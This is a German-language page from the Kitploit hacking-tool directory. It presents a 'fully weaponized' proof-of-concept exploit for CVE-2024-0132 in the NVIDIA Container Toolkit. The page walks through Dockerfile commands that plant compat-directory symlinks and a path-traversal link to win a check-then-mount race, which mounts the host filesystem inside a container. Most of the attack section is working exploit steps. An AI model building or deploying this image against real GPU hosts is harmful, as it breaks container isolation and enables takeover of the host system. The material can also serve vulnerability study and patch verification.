Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/r0binak/cve-2024-0132
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationCloud SecurityContainer Escape
GitHubr0binak/cve-2024-0132

CVE-2024-0132

CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit

Repository anzeigen
61vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-0132

CVE-2024-0132 PoC

Beginnen wir mit der Entscheidung für ein Basis-Image. Die Anordnung der Bibliotheken im System hängt davon ab, welches verwendet wird. Zum Beispiel ist es bei alpine /usr/lib64/, bei ubuntu ist es /usr/lib/x86_64-linux-gnu. Wir verwenden ubuntu als Basis-Image.

root@kitploit:~
FROM ubuntu

Das nvidia Container-Toolkit überprüft die Bibliotheken in /usr/local/cuda/compat/ im Container und mountet sie dann in das Hauptbibliotheksverzeichnis, was für dieses Image (ubuntu) /usr/lib/x86_64-linux-gnu wäre.

Links werden ebenfalls gemountet, sodass Sie jede Datei und jedes Verzeichnis aus dem Image nach /usr/lib/x86_64-linux-gnu mounten können. Dabei wird überprüft, dass der Link innerhalb des Containers aufgelöst wird; es kann kein mehrfaches ../ für Pfad-Traversal verwendet werden. Dies kann jedoch umgangen werden, indem der In-Container-Mount über /usr/local/cuda/compat/ zweimal verwendet wird, daher TOCTOU.

Lesen Sie mehr über den Mechanismus zum Mounten von /usr/local/cuda/compat/:

  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
root@kitploit:~
RUN mkdir -p /usr/local/cuda/compat/

Erstellen Sie zwei Verzeichnisse:

  1. Das ursprüngliche Verzeichnis enthält eine reguläre Datei mit dem Inhalt von test
root@kitploit:~
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
  1. Das zweite Verzeichnis mit demselben Namen enthält einen Link mit Pfad-Traversal anstelle einer Datei.
root@kitploit:~
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

Der Name libdxcore.so wurde gewählt, um Filter zu erfüllen. Die Hauptversion (1337) muss sich von der tatsächlichen Treiberversion unterscheiden.

Erstellen Sie zwei Links in /usr/local/cuda/compat/:

  1. Der erste Link ersetzt den Inhalt des ursprünglichen Verzeichnisses /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ durch /pwn/libdxcore.so.1337/
root@kitploit:~
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
  1. Der zweite Link mountet /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs nach /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Während der Überprüfung handelt es sich um eine normale Datei, aber zum Zeitpunkt des Mountens ist es ein Link, der in /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs war, wodurch das Host-Dateisystem in /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/ gemountet wird.
root@kitploit:~
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2
Tool herunterladen